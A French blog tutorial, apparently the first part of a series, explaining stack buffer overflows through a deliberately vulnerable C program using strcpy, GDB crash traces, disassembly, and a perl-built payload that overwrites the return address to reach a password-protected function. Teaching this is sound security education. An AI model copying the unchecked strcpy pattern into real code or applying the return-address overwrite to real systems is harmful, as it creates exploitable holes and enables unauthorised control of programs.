Attention, aujourd'hui je vous présente un type d'attaque très particulier, et très complexe : les Buffers Overflows !
Il s'agit de l'exploitation d'une faille dite "applicative", c'est-à-dire que la faille concerne des applications, des programmes qui sont exécutés par votre ordinateur (votre navigateur en est un, mais des tas de services systèmes sont aussi des programmes). C'est une faille malheureusement encore trop répandue, et qui permet très souvent de faire exécuter du code arbitraire par le programme vulnérable (de commander le programme en question). C'est aussi une faille très très complexe, qui nécessite une solide connaissance du fonctionnement interne du système, mais j'essaierai de décrire simplement les parties qui nous intéressent.
Le principe
Pas besoin d'être bilingue anglais pour comprendre l'idée (d'accord, faut savoir ce qu'est un buffer) : littéralement "dépassement de tampon", il s'agit de faire rentrer dans un "buffer" (une zone de stockage temporaire) plus de données que prévu, et de le faire déborder pour injecter des données ailleurs dans la mémoire. Si, si. Et c'est vachement efficace (quand ça marche).
Les prérequis : la structure de la mémoire
Un processeur utilise ce qu'on appelle des registres, qui ont pour rôle de stocker diverses informations relatives à l'exécution des programmes. Nous nous intéresserons ici surtout au registre EIP (Extended Instruction Pointer), qui est sans doute le plus important puisqu'il stocke l'adresse de l'instruction en cours d'exécution (un programme étant constitué d'instructions).
Lorsqu'un programme est lancé, le système réserve une zone de mémoire pour son exécution, dans lequel sont stockés 5 segments :
Segment TEXT | Au démarrage du programme, le registre EIP pointe au tout début de ce segment, puis une fois que la première instruction aura été exécutée il sera décalé pour pointer vers l'instruction suivante, qui sera exécutée. |
Aussi appelé segment code, ce segment contient le programme en lui-même, au format binaire. | |
Segments DATA & BSS | Les variables initialisées sont placées dans DATA, les autres dans BSS. Cette zone ne nous intéresse pas. |
Cette partie de la mémoire contient les variables déclarées au début du programme, et a donc une taille fixe (il n'y a que sa valeur qui change quand une variable est modifiée). | |
Segment HEAP | Ce segment n'ayant pas de taille fixe, il peut grandir vers les adresses mémoire les plus grandes. |
Le segment HEAP contient les variables "dynamiques" du programmes (qui n'ont pas de taille prédéfinie et sont définies au cours du programme). | |
Segment STACK |
C'est dans ce segment que tout va se jouer ! Cette "pile" (un peu comme une pile d'assiette, le premier arrivé est le dernier sorti) a également une taille variable, et grandit vers les adresses les plus basses. |
La "pile" (stack en anglais) est une sorte de bloc-note temporaire des appels de fonction, qui stocke des blocs (nommés stack frames) contenant les arguments de la fonction appelée, l'adresse de l'instruction à exécuter après la fin de la fonction (et donc la valeur future de l'EIP), l'ancienne adresse du haut de la pile (donc l'étage du dessous), et les variables locales de la fonction. |
Le code vulnérable
Et voici maintenant le code source qui va nous permettre d'obtenir un programme vulnérable aux Buffers Overflows (écrit en C, c'est par ici si vous ne connaissez rien au C - attention c'est très long d'apprendre à coder) :
#include <stdio.h>Ce programme, est destiné à enregistrer un nom (oui je sais, les développeurs ont toujours beaucoup d'imagination quand il faut écrire un programme-exemple...), et est vulnérable. Allez, vous avez 30 secondes pour trouver le problème !
#include <stdlib.h>
#include <string.h>
void enregistrer_nom(char *nom_saisi) {
char buffer_nom[100];
strcpy(buffer_nom,nom_saisi);
printf("Votre nom, %s, a été enregistré avec succès\n",buffer_nom);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage : %s < Votre nom >\n",argv[0]);
exit(0);
}
enregistrer_nom(argv[1]);
printf("Fin du programme...\n");
return 0;
}
...
C'est bon ? Got it ?
Eh oui, c'est évidemment la fonction strcpy() qui n'est pas correctement utilisée !
char buffer_nom[100];On place le nom_saisi, chaîne de caractère de longueur indéterminée, dans le buffer_nom, de longueur 100. En règle générale, pas de problème, puisque les noms font moins de 100 caractères : (oui je sais, là j'ai un peu plus d'imagination)
strcpy(buffer_nom,nom_saisi);
Usage : ./stack-based_overflow < Votre nom >
[mickael@ArchCyberTux build]$ ./stack-based_overflow "Léopoldichon Kroustillon"
Votre nom, Léopoldichon Kroustillon, a été enregistré avec succès
Fin du programme...
Le problème, c'est si le nom fait plus de 100 caractères :
Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, a été enregistré avec succès
Erreur de segmentation
On a le droit à une jolie erreur de segmentation ! (et vous avez remarqué que le message "Fin du programme..." ne s'est donc pas affiché)
La réécriture de la pile
Souvenez-vous d
e la constitution du segment STACK, on a dans l'ordre : les arguments, le Return Address (adresse de retour qui sera prise par l'EIP à la fin de la fonction), puis d'autres trucs moins intéressants, puis les variables locales, donc ici le buffer_nom qui reçoit la valeur du nom de l'utilisateur.
L'image de gauche montre la structure de la pile. Le haut de la pile correspond aux adresses les plus basses, et le bas aux plus hautes. Les données sont copiées dans en partant des adresses les plus basses vers les plus hautes (donc de haut en bas sur l'image et dans la pile).
A droite, voici la pile après copie du nom dans le buffer_nom : le processeur a copié dans la partie variables locales (buffer_nom est une variable locale, définie à l'intérieur de la fonction) ce qu'on lui a demandé, c'est-à-dire le nom récupéré. Mais comme il ne sait pas que le buffer ne fait que 100 caractères (en fait, c'est la fonction strcpy qui ne fait pas de vérification), il va continuer de copier jusqu'à la fin du nom, et va donc déborder (vers le bas puisque les données sont copiées de haut en bas) dans d'autres cases mémoires... dont le RA (Return Address) qui contient l'adresse de la prochaine instruction après la fin de la fonction. Et justement, à la fin de la fonction, EIP va prendre la valeur de RA qui ne correspond sûrement pas à une instruction valide... bim. Erreur de segmentation.
Et si on observe le crash du programme à travers le logiciel GDB (qui permet d'analyser finement les plantages), on observe :
Starting program: /home/mickael/Programmation/BufferOverflowExploit/build/stack-based_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, a été enregistré avec succès
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
On voit que le processeur est allé à l'adresse 0x0000414141414141 et n'y a pas trouvé d'instruction valide... Et vous savez quoi ? Le caractère "A", en hexadécimal, s'écrit 0x41. On a donc réussi à placer des "A" dans le RA, et à détourner ce qu'on appelle le "flux d'exécution" du programme !
(bon, ok, là on l'a détourné mais il est pas allé loin...)
Utilisation basique d'un buffer overflow :
Vous l'aurez sûrement compris, le principe d'un Buffer Overflow est de réécrire l'adresse de retour ! Mais pour le détourner vers où ?
Pour notre exemple on va simplement le rediriger vers une autre fonction du programme !
Allez, un autre exemple bidon :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// On définit le mot de passe secret qui déverrouillera l'accès
#define PASSE_SECRET "o$12kIjaZ"
// Déverrouillage de l'accès à l'entrepôt d'armes
void deverrouillage(){
printf("Bienvenue M. Chef !\n\n");
printf("Déverrouillage de la porte... ");
/* Oui bon... je vais pas faire une fonction
pour ouvrir une porte non plus ! */
printf(" porte déverrouillée !\n\n");
}
// Vérification du mot de passe
void verifier_passe(char *passe_saisi) {
char buffer_nom[100];
strcpy(buffer_nom,passe_saisi);
if(strcmp(passe_saisi,PASSE_SECRET) == 0) // Si le passe est correct
deverrouillage(); // On déverrouille
else
printf("Mauvais mot de passe !\n"); // ...ou pas.
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage : %s < Mot de passe supersecret >\n",argv[0]);
exit(0);
}
// Vérification du passe, et déverouillage si le passe est valide
verifier_passe(argv[1]);
printf("Fin du programme...\n");
return 0;
}
Ce programme se contente de demander un mot de passe pour déverrouiller l'entrepôt aux armes de la CIA (ça reste un exemple ^^). Nous, on est 007. Et on connaît pas le mot de passe.
Mauvais mot de passe !
Fin du programme...
Mais comme on sait que le programmeur n'a pas fait attention, on va utiliser un Buffer Overflow pour ouvrir cette satanée porte !
Bon, allez, on utilise notre super téléphone-à-tout-faire pour lancer le programme dans GDB :
Dump of assembler code for function main:
0x000000000040066c <+0>: push %rbp
0x000000000040066d <+1>: mov %rsp,%rbp
0x0000000000400670 <+4>: sub $0x10,%rsp
0x0000000000400674 <+8>: mov %edi,-0x4(%rbp)
0x0000000000400677 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040067b <+15>: cmpl $0x2,-0x4(%rbp)
0x000000000040067f <+19>: je 0x4006a7 <main+59>
0x0000000000400681 <+21>: mov -0x10(%rbp),%rax
0x0000000000400685 <+25>: mov (%rax),%rdx
0x0000000000400688 <+28>: mov $0x400838,%eax
0x000000000040068d <+33>: mov %rdx,%rsi
0x0000000000400690 <+36>: mov %rax,%rdi
0x0000000000400693 <+39>: mov $0x0,%eax
0x0000000000400698 <+44>: callq 0x4004b0 <printf@plt>
0x000000000040069d <+49>: mov $0x0,%edi
0x00000000004006a2 <+54>: callq 0x4004d0 <exit@plt>
0x00000000004006a7 <+59>: mov -0x10(%rbp),%rax
0x00000000004006ab <+63>: add $0x8,%rax
0x00000000004006af <+67>: mov (%rax),%rax
0x00000000004006b2 <+70>: mov %rax,%rdi
0x00000000004006b5 <+73>: callq 0x400620 <verifier_passe>
0x00000000004006ba <+78>: mov $0x400861,%edi
0x00000000004006bf <+83>: callq 0x4004c0 <puts@plt>
0x00000000004006c4 <+88>: mov $0x0,%eax
0x00000000004006c9 <+93>: leaveq
0x00000000004006ca <+94>: retq
End of assembler dump.
(gdb) disas verifier_passe
Dump of assembler code for function verifier_passe:
0x0000000000400620 <+0>: push %rbp
0x0000000000400621 <+1>: mov %rsp,%rbp
0x0000000000400624 <+4>: add $0xffffffffffffff80,%rsp
0x0000000000400628 <+8>: mov %rdi,-0x78(%rbp)
0x000000000040062c <+12>: mov -0x78(%rbp),%rdx
0x0000000000400630 <+16>: lea -0x70(%rbp),%rax
0x0000000000400634 <+20>: mov %rdx,%rsi
0x0000000000400637 <+23>: mov %rax,%rdi
0x000000000040063a <+26>: callq 0x400500 <strcpy@plt>
0x000000000040063f <+31>: mov -0x78(%rbp),%rax
0x0000000000400643 <+35>: mov $0x400812,%esi
0x0000000000400648 <+40>: mov %rax,%rdi
0x000000000040064b <+43>: callq 0x4004f0 <strcmp@plt>
0x0000000000400650 <+48>: test %eax,%eax
0x0000000000400652 <+50>: jne 0x400660 <verifier_passe+64>
0x0000000000400654 <+52>: mov $0x0,%eax
0x0000000000400659 <+57>: callq 0x4005f4 <deverrouillage>
0x000000000040065e <+62>: jmp 0x40066a <verifier_passe+74>
0x0000000000400660 <+64>: mov $0x40081c,%edi
0x0000000000400665 <+69>: callq 0x4004c0 <puts@plt>
0x000000000040066a <+74>: leaveq
0x000000000040066b <+75>: retq
End of assembler dump.
Ah bah tiens, ça alors ! Une fonction de déverrouillage, à l'adresse 0x0000000000400659 ! Mais elle n'est pas appelée à moins d'avoir le mot de passe...
Allez, et si on essayait de placer cette fameuse adresse dans le RA ? Hein ? Comme ça, à la fin de la fonction, cette fonction de déverrouillage serait appelée !
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mickael/Programmation/BufferOverflowExploit/bof2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mauvais mot de passe !
Program received signal SIGSEGV, Segmentation fault.
0x0000000000004141 in ?? ()
Bon, on a l'adresse 0x004141 et on cherche l'adresse 0x400659. Avec un A en plus ?
0x0000000000414141 in ?? ()
Voilà, on a le bon nombre d'octets, on n'a plus qu'à remplacer les 3 derniers A par la valeur en hexadécimal de l'adresse (attention comme, notre système est en little endian, il faut inverser l'ordre des octets).
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mickael/Programmation/BufferOverflowExploit/bof2 `perl -e 'print "A" x 120 . "\x59\x06\x40"'`
Mauvais mot de passe !
Bienvenue M. Chef !
Déverrouillage de la porte... porte déverrouillée !
Program received signal SIGBUS, Bus error.
0x000000000040066a in verifier_passe ()
Et voilà !! (ne vous extasiez pas, c'est normal pour James Bond...) 
Quelques remarques : j'ai utilisé une commande Perl pour obtenir les caractères correspondants aux valeurs hexadécimales. Et puis, le programme a aussi planté puisque de toutes manières, on lui avait supprimé des bouts de mémoire (remplacés pour être exact).
Et voilà pour cette première partie !
Prochaines parties :
Pour cet article, nous avons vu comment appeler n'importe quelle fonction de manière arbitraire, à condition que le programme soit vulnérable (présence d'une fonction strcpy par exemple). Mais nous ne pourront jamais faire que ce qui a été écrit dans le programme (James Bond n'aurait pas pu jouer à Pacman parce qu'aucune fonction pour y jouer n'était présente dans le programme), et ça limite très rapidement le champ d'action.
Nous allons donc voir dans la prochaine partie le moyen d'exécuter notre propre code dans le programme, au moyen notamment de ShellCodes à injecter. On s'intéressera aussi au moyen d'exécuter ce code avec des droits plus élevés si le programme répond à quelques conditions :)
